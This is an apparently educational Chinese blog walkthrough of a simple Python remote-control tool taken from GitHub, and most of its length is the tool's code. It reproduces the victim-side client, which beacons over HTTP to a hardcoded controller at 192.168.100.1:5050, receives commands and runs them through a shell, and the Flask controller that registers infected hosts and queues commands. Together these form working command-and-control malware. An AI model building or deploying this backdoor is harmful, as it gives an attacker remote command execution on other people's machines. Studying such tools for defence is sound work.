分析一款仅能执行命令的python远控 github上找了一个python的简单远控来进行分析,从而了解其中的一些原理。
client端 首先我们分析被控端的代码
太长我就不全部贴上来了,但会每一段都进行分析。
首先是主函数
1 2 3 4 if __name__ == "__main__" : print ("[+] start client" ) client = Client() client.run()
新建了一个类Client,使用了run方法,跟踪一下看看。
1 2 3 4 5 6 7 8 9 10 class Client (): def __init__ (self ): self.server_ip = "192.168.100.1" self.server_port = "5050" self.base_url = "http://" +self.server_ip+":" +self.server_port self.token = "bkq98" self.init_name() self.sleep_time = 3 self.cmd_id = None self.result = ""
首先定义了类的一些基本的参数,比如服务端ip端口等。
随后便是run()
1 2 3 4 5 def run (self ): while True : self.heartbeat() time.sleep(self.sleep_time)
会不断的调用heartbeat()并且沉睡一段时间
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 def heartbeat (self ): url = self.base_url+"/heartbeat/" data = { "token" : self.token, "name" : self.name, "result" : self.result, "cmd_id" : self.cmd_id } if self.result !="" : data["result" ] = self.result self.result = "" response = self.send_data(url, data) if response==None : return if response.status_code==200 : server_data = json.loads(response.content) cmd = server_data.get("cmd" , "" ) cmd_id = server_data.get("cmd_id" , "" ) if cmd_id == self.cmd_id: return if cmd: print ("[+] cmd: " +cmd) self.result = str (self.exec (cmd)) print ("[*] result: " +self.result) self.cmd_id = cmd_id
首先是判断结果是否为空,如果为空则不作操作。
然后调用send_data()
发送心跳包
1 2 3 4 5 6 7 def send_data (self, url, data ): try : response = requests.post(url,json=data, timeout=10 ) return response except Exception as e: print ("[-] " +e) return None
将定义好的data发送出去,并返回一个response。
按照作者给的注释,如果返回状态值为200并且没有报错,则是需要返回执行的命令的结果。
随后接受,服务端传过来的两个参数,cmd和cmd_id,验证cmd_id是否是自己的id,如果是的话则直接结束。
然后调用self.exec()
来执行命令,我们下面看看
1 2 3 4 5 6 7 8 def exec (self, cmd ): if cmd.startswith("sleep" ): self.sleep_time = int (cmd.split(" " )[-1 ]) return "time set ok" if cmd.startswith("msf" ): return "msf set ok" return run_cmd(cmd)
可以看出这里是一个功能检测,方便我们后期拓展。输入关键词就可以执行响应的操作,如果是sleep。则将自己的心跳时间修改为cmd最后一个参数。如果是msf,就写入联动msf的代码就好了,这里作者还没做好。
如果是正常的执行命令则,调用run_cmd函数。这里我们跟如run_cmd函数。
1 2 3 4 5 6 7 8 9 10 def run_cmd (cmd ): p = subprocess.Popen(cmd, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, shell=True , close_fds=True , start_new_session=True ) formats = 'gbk' if platform.system() == "Windows" else 'utf-8' try : result = p.stdout.read() p.wait() return result.decode(formats) except : return "命令执行错误"
这里改成了一个子线程,根据系统来进行返回值的编码,然后执行第一个cmd,由于设置了shell=True,那我们的命令是可以带空格执行的。
随后就是return命令执行结果,并且wait线程。
接着看上面heartbeat()最后一步
1 2 3 4 5 if cmd: print ("[+] cmd: " +cmd) self.result = str (self.exec (cmd)) print ("[*] result: " +self.result) self.cmd_id = cmd_id
将self.result赋值成结果然后self.cmd_id赋值成cmd_id,这个cmd_id就是心跳检测的关键,在sleep了设定的数值之后,如果cmd_id,那么就不会返回新的结果,除非有新的cmd_id出现,否则不会执行任何命令。
随后执行完命令之后继续沉睡指定时间,然后继续while循环
最后就是有一个检测,如果用户输入ctrl+c,那么就会停止这个脚本
1 2 3 4 5 6 def ctrl_c (signum,frame ): print () print ("[-] input ctrl c" ) sys.exit() signal.signal(signal.SIGINT, ctrl_c)
web端(控制端) 简单看了下,基于flask框架开发的。
主代码:
1 2 3 4 from app import appif __name__ == "__main__" : app.run("192.168.100.1" , 5050 , debug=True )
定义你的服务器ip和访问的端口,不过这个没有密码,后续要使用的话,可以加入一些响应的鉴权措施。
router.py路由:
1 2 3 4 5 @app.route("/" ) def index (): client_list = Clients.query.order_by(Clients.update_time).all () return render_template( "index.html" , clients = client_list)
做了个跳转,跳转到index.html页面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 @app.route("/heartbeat/" , methods=["POST" ] ) def heartbeat (): data = request.get_json() print (data) token = data.get("token" ) if token !="bkq98" : return jsonify({}) name = data.get("name" ) ip = request.remote_addr client_result = data.get("result" ) client_cmd_id = data.get("cmd_id" ) db_client = Clients.query.filter (Clients.name==name, Clients.ip==ip).first() if db_client: db_client.update_time = datetime.datetime.now() db.session.commit() else : client = Clients() client.name = name client.ip = ip try : db.session.add(client) db.session.commit() except Exception as e: print (e) if client_result: print ("[+] client: " +name+" ip: " +ip+" upload result: " + client_result) db_echo_result = EchoResult.query.filter (EchoResult.id ==client_cmd_id).first() db_echo_result.result = client_result db.session.commit() db_echo_result = EchoResult.query.filter (EchoResult.client_name==name,EchoResult.ip==ip,EchoResult.result==None ).first() if db_echo_result: cmd_id = db_echo_result.id cmd = db_echo_result.cmd print ("[+] server issued cmd:" +cmd+" name: " +name+" ip: " +ip) return jsonify({"cmd_id" :cmd_id, "cmd" :cmd}) return jsonify({})
这个路由就是client端心跳包请求的地址
首先会将心跳包传的参数存储到data变量中,随后会校检一下其中的token是否是我们设置的token,
随后就是一系列的提取数据
1 2 3 4 5 name = data.get("name" ) ip = request.remote_addr client_result = data.get("result" ) client_cmd_id = data.get("cmd_id" ) db_client = Clients.query.filter (Clients.name==name, Clients.ip==ip).first()
1 2 3 4 5 6 7 8 9 10 11 12 if db_client: db_client.update_time = datetime.datetime.now() db.session.commit() else : client = Clients() client.name = name client.ip = ip try : db.session.add(client) db.session.commit() except Exception as e: print (e)
然后就是检测是否是数据库中已有的用户,如果是的话,就更新数据库的时间,如果不是,就添加一个用户。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 if client_result: print ("[+] client: " +name+" ip: " +ip+" upload result: " + client_result) db_echo_result = EchoResult.query.filter (EchoResult.id ==client_cmd_id).first() db_echo_result.result = client_result db.session.commit() db_echo_result = EchoResult.query.filter (EchoResult.client_name==name,EchoResult.ip==ip,EchoResult.result==None ).first() if db_echo_result: cmd_id = db_echo_result.id cmd = db_echo_result.cmd print ("[+] server issued cmd:" +cmd+" name: " +name+" ip: " +ip) return jsonify({"cmd_id" :cmd_id, "cmd" :cmd}) return jsonify({})
这里就是首先获取了上次的结果,检测result参数是否是none,如果是的话,就是需要执行的新命令,返回过去并且等待下一次获取。
其他的路由没有什么讲的,就是几个显示页面,显示一些信息。
在__int__.py
文件中定义了数据库文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from flask import Flaskfrom flask_sqlalchemy import SQLAlchemyimport osapp = Flask(__name__) base_dir = os.path.abspath(os.path.dirname(__file__)) app.config["SQLALCHEMY_DATABASE_URI" ] = 'sqlite:///' + os.path.join(base_dir, "../" , 'miansha3.db' ) app.config["SQLALCHEMY_COMMIT_ON_TEARDOWN" ] = True db = SQLAlchemy(app) from app import routerwith app.app_context(): db.init_app(app) db.create_all()
总结 其实也比较简单,这款远控,毕竟只有执行命令的功能
开发的大概思路就是被控端会定时发起心跳包到服务端,服务端接受心跳包中上一次执行命令的结果,并且返回新的命令。